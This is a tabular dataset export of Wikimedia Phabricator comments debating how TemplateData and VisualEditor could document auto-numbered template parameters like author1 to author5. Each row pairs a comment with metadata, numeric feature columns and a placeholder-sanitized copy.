2261527,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"I’ll add #community-tech team to the task as maintainers of TemplateWizard, maybe they have ideas :)",,,1705603244,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,True,,,550,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,14.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0476190476190474,1.0,"I’ll add #community-tech team to the task as maintainers of TemplateWizard, maybe they have ideas :)"
2023299,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"> If you don’t display `author-link3` until I filled `author-link2`, I can’t […]

That's a great example, thanks! Sounds like an argument for the {key +} button.

> templates where a trailing “1” doesn’t denote a sequence, but a year, a code (e.g. ISO 639-1) […]

True, these might behave odd. We can't avoid this entirely but limit the effect by using a clever regex like `/\p{L}[\p{P}\p{Z}]*1$/u`. This will not pick up the examples you listed.

> MediaWiki message-style `editor$1-last` […]

Either that or `{{{1}}}` to reuse a pattern users are familiar with. However, this can't replace the current parameter name for the same backwards-compatibility reason as above but must be part of the new syntax:
```lang=JSON
""author1"": { ""sequence"": { ""name"": ""author$1"", ""from"": ""1"", ""to"": ""5"" } }
```

There is also another very common special case that goes like `author`, `author2`, `author3`, and so on without the `1`. Luckily this is easy to solve with the proposed syntax:
```lang=JSON
""author"": {},
""author2"": { ""sequence"": { ""name"": ""author$1"", ""from"": ""2"", ""to"": ""5"" } }
```",,,1669128401,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,0.0,0.0,0.5,0.0,2.0,7.0,1.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.5,0.0,5.0,7.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.5,0.0,2.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,13.0,2.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,8.5,0.0,2.5,11.0,0.0,0.0,0.5,0.0,4.5,0.0,0.0,0.0,1.5,7.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,4.109090909090909,0.8454545454545455,"QUOTE

That's a great example, thanks! Sounds like an argument for the {key +} button.

QUOTE

True, these might behave odd. We can't avoid this entirely but limit the effect by using a clever regex like CODE. This will not pick up the examples you listed.

QUOTE

Either that or CODE to reuse a pattern users are familiar with. However, this can't replace the current parameter name for the same backwards-compatibility reason as above but must be part of the new syntax:
``CODE`CODEauthorCODEauthor2CODEauthor3CODE1CODE`CODE``"
2023105,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,">>! In T54582#8408107, @Tacsipacsi wrote:
> I think there are still a lot of templates that don’t use Lua and thus support exactly as many parameters as documented. They probably don’t show error messages if unknown parameters are used, either, since that would also require Lua. This means that the extra parameters would simply not appear – which doesn’t cause visual breakage, but it’s also hard for the editors to notice. What does Citoid do now if there are more authors/whatever data than what the template – according to TemplateData – supports?

Right now it silently just doesn't add the authors. If there's template data for 20, it'll add 20 and then stop. Unless it's a collapsed param, and then it concatenates them all together. So right now the results are actually better using a collapsed param because you get all the authors. 

A lot of the non Lua templates are configured to use collapsed params, i.e. they have just one author field. In that case, all the authors are concatenated and make it into the template. I.e. this is the de wiki case. It'd only be non-lua templates that are also configured with citoid to use separate fields. 

There's a related wishlist item for this: https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2022/Citations#Preventing_VE_from_silently_omitting_co-authors

There's a suggestion to using display-authors but coming up with a system to do that is even less fleshed out in terms of how we'd decide that. I'd rather just actually add the author. 

There's also the option of producing two citations, one with and one without for the user to choose.

Funny edgecases for my proposed hack - a param that looks like isbn2, might accidentally produce isbn3 and isbn4 depending on how the data is configured. 

",,,1669116447,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1.0,0.0,0.0,1.3333333333333333,0.3333333333333333,3.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,1.3333333333333333,2.0,0.0,0.3333333333333333,1.3333333333333333,1.3333333333333333,0.0,9.666666666666666,9.666666666666666,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,6.0,0.3333333333333333,2.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,0.6666666666666666,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,12.0,1.6666666666666667,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,6.333333333333333,3.0,6.0,2.0,2.3333333333333335,9.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,2.3333333333333335,0.0,4.333333333333333,9.666666666666666,2.6666666666666665,0.0,0.0,0.0,4.333333333333333,0.0,1.6666666666666667,2.3333333333333335,0.3333333333333333,2.0,0.6666666666666666,0.0,0.3333333333333333,3.889970788704966,0.7331494103646002,"QUOTE
QUOTE

Right now it silently just doesn't add the authors. If there's template data for 20, it'll add 20 and then stop. Unless it's a collapsed param, and then it concatenates them all together. So right now the results are actually better using a collapsed param because you get all the authors. 

A lot of the non Lua templates are configured to use collapsed params, i.e. they have just one author field. In that case, all the authors are concatenated and make it into the template. I.e. this is the de wiki case. It'd only be non-lua templates that are also configured with citoid to use separate fields. 

There's a related wishlist item for this: URL

There's a suggestion to using display-authors but coming up with a system to do that is even less fleshed out in terms of how we'd decide that. I'd rather just actually add the author. 

There's also the option of producing two citations, one with and one without for the user to choose.

Funny edgecases for my proposed hack - a param that looks like isbn2, might accidentally produce isbn3 and isbn4 depending on how the data is configured. 

"
2054057,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"To allow linking author3 without having to link the previous ones, the field author-link3 could appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc

This would also make it more obvious to users how to access collapsed parameters.",,,1674485033,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,499,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,5.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,4.0,2.0,0.0,2.0,4.089285714285714,0.7321428571428571,"To allow linking author3 without having to link the previous ones, the field author-link3 could appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc

This would also make it more obvious to users how to access collapsed parameters."
2022907,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Tho allow linking author3 without having to link the previous ones, the field author-link3 could appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc

This would also make it more obvious to users how to access collapsed parameters.",,,1669084905,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,5.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,11.0,4.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,4.0,2.0,0.0,2.0,4.107142857142857,0.7321428571428571,"Tho allow linking author3 without having to link the previous ones, the field author-link3 could appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc

This would also make it more obvious to users how to access collapsed parameters."
2022903,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"Regarding the problem with point 1, the field author-link3 may appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc

This would allow to link author3 without having to link the previous ones, and would also make it more obvious to users how to access collapsed parameters.",,,1669083437,,PHID-USER-lucj4cqevg3ebah7vybd,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,3.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,5.0,5.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,5.0,12.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,3.0,2.0,0.0,2.0,4.030769230769231,0.676923076923077,"Regarding the problem with point 1, the field author-link3 may appear when you FOCUS in author-link2, and author-link2 when you focus in author-link1, etc

This would allow to link author3 without having to link the previous ones, and would also make it more obvious to users how to access collapsed parameters."
2022758,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,">>! In T54582#8409117, @thiemowmde wrote:
> 1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
>  * We can do this in VisualEditor without touching TemplateData.
>  * The only thing users need to do is to make sure all possible numbers are documented.
>  * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
This may not work in all cases. For example, [[https://en.wikipedia.org/wiki/Template:Cite_web|en:Template:Cite web]] have several parameters for providing authors, but to keep the example simple, let’s concentrate on the three that are included in the vertical copy sample: `firstN`, `lastN` and `author-linkN`. If only the first and third author have articles, I’d like to include the following:
```
{{cite web |first1=John |last1=Doe |author-link1=John Doe |first2=Jane |last2=Doe |first3=Jimmy |last3=Wales |author-link3=Jimmy Wales |… }}
```
If you don’t display `author-link3` until I filled `author-link2`, I can’t link to Jimbo’s article without adding a red link to Jane Doe’s article, which should not be done according to the documentation.

> 2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
I have no actual example at hand, but I’m pretty sure there are templates where a trailing “1” doesn’t denote a sequence, but a year, a code (e.g. ISO 639-1), and so on.

> 3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]""` means only 9 parameters exist and `""author[1-]""` means it's unlimited.
>  * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
>  * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
Also, we’d need to be very careful what the syntax is, since `{{{author[1-9]}}` is for example a legal parameter name. Even `{{{a{{!}}b}}}` is legal, so pipes are neither something we can freely play with…

> 4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }`. Use `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
>  * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
I like this the best. However, the counter doesn’t need to be at the end (see `editor2-last` in {{Cite web}}), so we need a syntax to indicate where the number goes. For example, it could be a printf-style `editor%d-last` (with the usual `%%` escape if the parameter name literally contains `%d`), or the MediaWiki message-style `editor$1-last` (what’s the escape here?). Also, it needs to accept not only ASCII digits, but anything that’s sequential (non-ASCII numbers, maybe even letters).

> 5. Somehow make use of the unused `set` feature.
According to the [[https://www.mediawiki.org/wiki/Extension:TemplateData|documentation]], a set is “a group of parameters that should be used together” – this doesn’t fit this use case, since `author1` can be used without `author42`.",,,1669065650,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1.0,0.0,0.0,0.5,0.5,3.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,1.5,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.5,8.5,0.5,1.5,3.5,0.0,0.0,0.0,0.0,3.0,0.0,3.5,0.0,1.0,6.0,6.5,0.0,17.0,0.0,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,1.5,4.108433734939759,0.4879518072289156,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
This may not work in all cases. For example, [[URL web]] have several parameters for providing authors, but to keep the example simple, let’s concentrate on the three that are included in the vertical copy sample: CODE, CODE and CODE. If only the first and third author have articles, I’d like to include the following:
``CODE`CODEauthor-link3CODEauthor-link2CODEauthor1CODE""author[1-9]""CODE""author[1-]""CODEauthor[א-ט‎]CODE{{{author[1-9]}}CODE{{{a{{!}}b}}}CODE""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }CODE""from"": ""1"", ""to"": ""1000""CODEauthor1CODEauthor5CODE""author2"": { ""sequence"": { ""name"": ""author"" } }CODEeditor2-lastCODEeditor%d-lastCODE%%CODE%dCODEeditor$1-lastCODEsetCODEauthor1CODEauthor42`."
2022247,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
1. Non-Lua templates support exactly as many parameters as documented, as @Tacsipacsi explained above. For example, there is `author1` to `author9`, but there it ends. This causes a few problems:
 * It's a little tedious to document this.
 * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](https://en.wikipedia.org/wiki/Template:Singles).
 * The person writing the documentation might decide to stop earlier and document only e.g. `author1` to `author5` exactly to avoid the problem above. `author6` ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: `author6` will be listed at the very end, not after `author5`.
2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. `author1` to `author5`. This creates almost the same problems:
 * The documentation must stop at an arbitrary number. Typically this will not be `author1` but e.g. `author5` or `author9`.
 * This is tedious, as above.
 * VisualEditor and such always show all of the documented parameters.
3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
 * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
 * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.

A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as `author1` to `author5`.

What we can do, in my opinion:
1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
 * We can do this in VisualEditor without touching TemplateData.
 * The only thing users need to do is to make sure all possible numbers are documented.
 * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]""` means only 9 parameters exist and `""author[1-]""` means it's unlimited.
 * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
 * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }`. Use `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
 * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
5. Somehow make use of the unused `set` feature.
6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
6. …?

I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know.",,,1669035722,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1.0,0.0,0.4444444444444444,0.7777777777777778,1.1111111111111112,7.111111111111111,1.0,0.1111111111111111,0.0,0.1111111111111111,2.3333333333333335,0.6666666666666666,0.0,0.8888888888888888,0.1111111111111111,1.2222222222222223,0.3333333333333333,8.0,9.222222222222221,0.1111111111111111,2.111111111111111,0.1111111111111111,0.0,0.0,0.3333333333333333,0.1111111111111111,0.0,0.4444444444444444,0.8888888888888888,0.4444444444444444,0.1111111111111111,6.333333333333333,1.4444444444444444,1.0,0.6666666666666666,0.2222222222222222,0.1111111111111111,0.0,0.1111111111111111,0.5555555555555556,0.1111111111111111,0.3333333333333333,0.1111111111111111,1.1111111111111112,0.1111111111111111,0.3333333333333333,0.0,0.4444444444444444,0.0,11.666666666666666,1.5555555555555556,0.5555555555555556,0.1111111111111111,0.8888888888888888,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.5555555555555556,1.1111111111111112,0.0,0.3333333333333333,0.3333333333333333,0.4444444444444444,0.0,6.444444444444445,2.111111111111111,9.88888888888889,1.2222222222222223,2.2222222222222223,9.222222222222221,0.0,0.0,0.0,0.6666666666666666,5.222222222222222,0.0,0.8888888888888888,0.0,2.888888888888889,9.222222222222221,4.555555555555555,0.1111111111111111,0.6666666666666666,0.0,2.888888888888889,0.0,1.2222222222222223,2.2222222222222223,0.1111111111111111,0.7777777777777778,0.5555555555555556,0.1111111111111111,1.3333333333333333,4.0,0.7012345679012345,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
1. Non-Lua templates support exactly as many parameters as documented, asSCREEN_NAME explained above. For example, there is CODE to CODE, but there it ends. This causes a few problems:
 * It's a little tedious to document this.
 * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](URL
 * The person writing the documentation might decide to stop earlier and document only e.g. CODE to CODE exactly to avoid the problem above. CODE ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: CODE will be listed at the very end, not after CODE.
2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. CODE to CODE. This creates almost the same problems:
 * The documentation must stop at an arbitrary number. Typically this will not be CODE but e.g. CODE or CODE.
 * This is tedious, as above.
 * VisualEditor and such always show all of the documented parameters.
3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
 * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
 * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.

A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as CODE to CODE.

What we can do, in my opinion:
1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only CODE. The moment CODE does have a value CODE appears. And so on. But stop when the next number is not documented.
 * We can do this in VisualEditor without touching TemplateData.
 * The only thing users need to do is to make sure all possible numbers are documented.
 * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. CODE to CODE.
2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. CODE, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
3. Come up with some magic syntax for numbered parameters, e.g. CODE means only 9 parameters exist and CODE means it's unlimited.
 * This allows to use other number systems, e.g. Hebrew CODE.
 * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
4. Add a flag that does the same, e.g. CODE. Use CODE to make it effectively ""unlimited"".
 * This can be made backwards-compatible. Users can still document CODE to CODE if they want. They just need to copy the sequence name to all of them, e.g. CODE. Parameters with the same sequence are considered one by software that understands the feature.
5. Somehow make use of the unused CODE feature.
6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
6. …?

I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know."
2022246,TemplateData: Allow hinting to specify auto-numbered parameter names in some fashion,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
1. Non-Lua templates support exactly as many parameters as documented, as @Tacsipacsi explained above. For example, there is `author1` to `author9`, but there it ends. This causes a few problems:
 * It's a little tedious to document this.
 * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](https://en.wikipedia.org/wiki/Template:Singles).
 * The person writing the documentation might decide to stop earlier and document only e.g. `author1` to `author5` exactly to avoid the problem above. `author6` ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: `author6` will be listed at the very end, not after `author5`.
2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. `author1` to `author5`. This creates almost the same problems:
 * The documentation must stop at an arbitrary number. Typically this will not be `author1` but e.g. `author5` or `author9`.
 * This is tedious, as above.
 * VisualEditor and such always show all of the documented parameters.
3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
 * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
 * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.

A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as `author1` to `author5`.

What we can do, in my opinion:
1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only `author1`. The moment `author1` does have a value `author2` appears. And so on. But stop when the next number is not documented.
 * We can do this in VisualEditor without touching TemplateData.
 * The only thing users need to do is to make sure all possible numbers are documented.
 * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. `author1` to `author25`.
2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. `author1`, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
3. Come up with some magic syntax for numbered parameters, e.g. `""author[1-9]""` means only 9 parameters exist and `""author[1-]""` means it's unlimited.
 * This allows to use other number systems, e.g. Hebrew `author[א-ט‎]`.
 * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
4. Add a flag that does the same, e.g. `""author1"": { ""sequence"": { ""name"": ""author"", ""from"": ""1"", ""to"": ""5"" } }` Use `""from"": ""1"", ""to"": ""1000""` to make it effectively ""unlimited"".
 * This can be made backwards-compatible. Users can still document `author1` to `author5` if they want. They just need to copy the sequence name to all of them, e.g. `""author2"": { ""sequence"": { ""name"": ""author"" } }`. Parameters with the same sequence are considered one by software that understands the feature.
5. Somehow make use of the unused `set` feature.
6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
6. …?

I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know.",,,1669035672,,PHID-USER-u6ycqhfpa3k4yvlpxjt2,False,,,PHID-TASK-7agzn6t2zkyppgtkt4zy,task_subcomment,,True,c1,3,False,,,490,,1.0,0.0,0.4444444444444444,0.7777777777777778,1.1111111111111112,7.111111111111111,1.0,0.1111111111111111,0.0,0.1111111111111111,2.3333333333333335,0.6666666666666666,0.0,0.8888888888888888,0.1111111111111111,1.2222222222222223,0.3333333333333333,8.0,9.222222222222221,0.1111111111111111,2.111111111111111,0.1111111111111111,0.0,0.0,0.3333333333333333,0.1111111111111111,0.0,0.4444444444444444,0.8888888888888888,0.4444444444444444,0.1111111111111111,6.333333333333333,1.4444444444444444,1.0,0.6666666666666666,0.2222222222222222,0.1111111111111111,0.0,0.1111111111111111,0.5555555555555556,0.1111111111111111,0.3333333333333333,0.1111111111111111,1.1111111111111112,0.1111111111111111,0.3333333333333333,0.0,0.4444444444444444,0.0,11.666666666666666,1.5555555555555556,0.5555555555555556,0.1111111111111111,0.8888888888888888,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.5555555555555556,1.1111111111111112,0.0,0.3333333333333333,0.3333333333333333,0.4444444444444444,0.0,6.444444444444445,2.111111111111111,9.88888888888889,1.2222222222222223,2.2222222222222223,9.222222222222221,0.0,0.0,0.0,0.6666666666666666,5.222222222222222,0.0,0.8888888888888888,0.0,2.888888888888889,9.222222222222221,4.555555555555555,0.1111111111111111,0.6666666666666666,0.0,2.888888888888889,0.0,1.2222222222222223,2.2222222222222223,0.1111111111111111,0.7777777777777778,0.5555555555555556,0.1111111111111111,1.3333333333333333,4.003634345956444,0.7034124011652101,"#wmde-techwish here. Our #wmde-templates-focusarea last year focused on #TemplateData and the #VisualEditor template dialog. I'm aware of two situations we need to consider here:
1. Non-Lua templates support exactly as many parameters as documented, asSCREEN_NAME explained above. For example, there is CODE to CODE, but there it ends. This causes a few problems:
 * It's a little tedious to document this.
 * Both #VisualEditor and #TemplateWizard get messy very fast the more such parameters exist. Note that having more than one is the norm, not the exception. Here is a [simple example](URL
 * The person writing the documentation might decide to stop earlier and document only e.g. CODE to CODE exactly to avoid the problem above. CODE ff. will still work, but can only be entered in wikitext or with the ""add undocumented parameter"" feature. Unfortunately this creates the next problem: CODE will be listed at the very end, not after CODE.
2. Lua-based templates can support an effectively unlimited number of such parameters. The currently only way to document this is to document a limited number, e.g. CODE to CODE. This creates almost the same problems:
 * The documentation must stop at an arbitrary number. Typically this will not be CODE but e.g. CODE or CODE.
 * This is tedious, as above.
 * VisualEditor and such always show all of the documented parameters.
3. Because of all the problems above and thanks to the power of Lua users create more and more templates that accept multiple comma-separated values in a single parameter.
 * This creates effectively a custom parameter type with a custom syntax (namely being comma-separated).
 * TemplateData has no way to document this either. I mean, other than describing it to the user. But not in a machine-readable way.

A relevant consequence of all this is that we don't have a way to distinguish the first two situations when both are documented as CODE to CODE.

What we can do, in my opinion:
1. Collapse numbered parameters in VisualEditor. For example, when you start with an empty template you see only CODE. The moment CODE does have a value CODE appears. And so on. But stop when the next number is not documented.
 * We can do this in VisualEditor without touching TemplateData.
 * The only thing users need to do is to make sure all possible numbers are documented.
 * This doesn't solve the situation where the number is unlimited, but allows for a workaround. Users just need to document //a lot// of numbers, e.g. CODE to CODE.
2. Ask users to document an unlimited number of parameters by only documenting the first one, e.g. CODE, but nothing else. We can use this special case to distinguish the two unlimited vs. limited scenarios.
3. Come up with some magic syntax for numbered parameters, e.g. CODE means only 9 parameters exist and CODE means it's unlimited.
 * This allows to use other number systems, e.g. Hebrew CODE.
 * Biggest problem with an approach like this is that it's entirely incompatible with existing software that doesn't understand the feature.
4. Add a flag that does the same, e.g. CODE Use CODE to make it effectively ""unlimited"".
 * This can be made backwards-compatible. Users can still document CODE to CODE if they want. They just need to copy the sequence name to all of them, e.g. CODE. Parameters with the same sequence are considered one by software that understands the feature.
5. Somehow make use of the unused CODE feature.
6. Just give the user a {key +} button at the end of numbered parameters, no matter how it's documented in TemplateData. It acts very similar to the ""add undocumented parameter"" feature but makes sure the order is consistent.
6. …?

I would like to avoid presenting an extra empty parameter at the end of every sequence of numbered parameters when the documentation explicitly says it doesn't exist, or we just don't know."
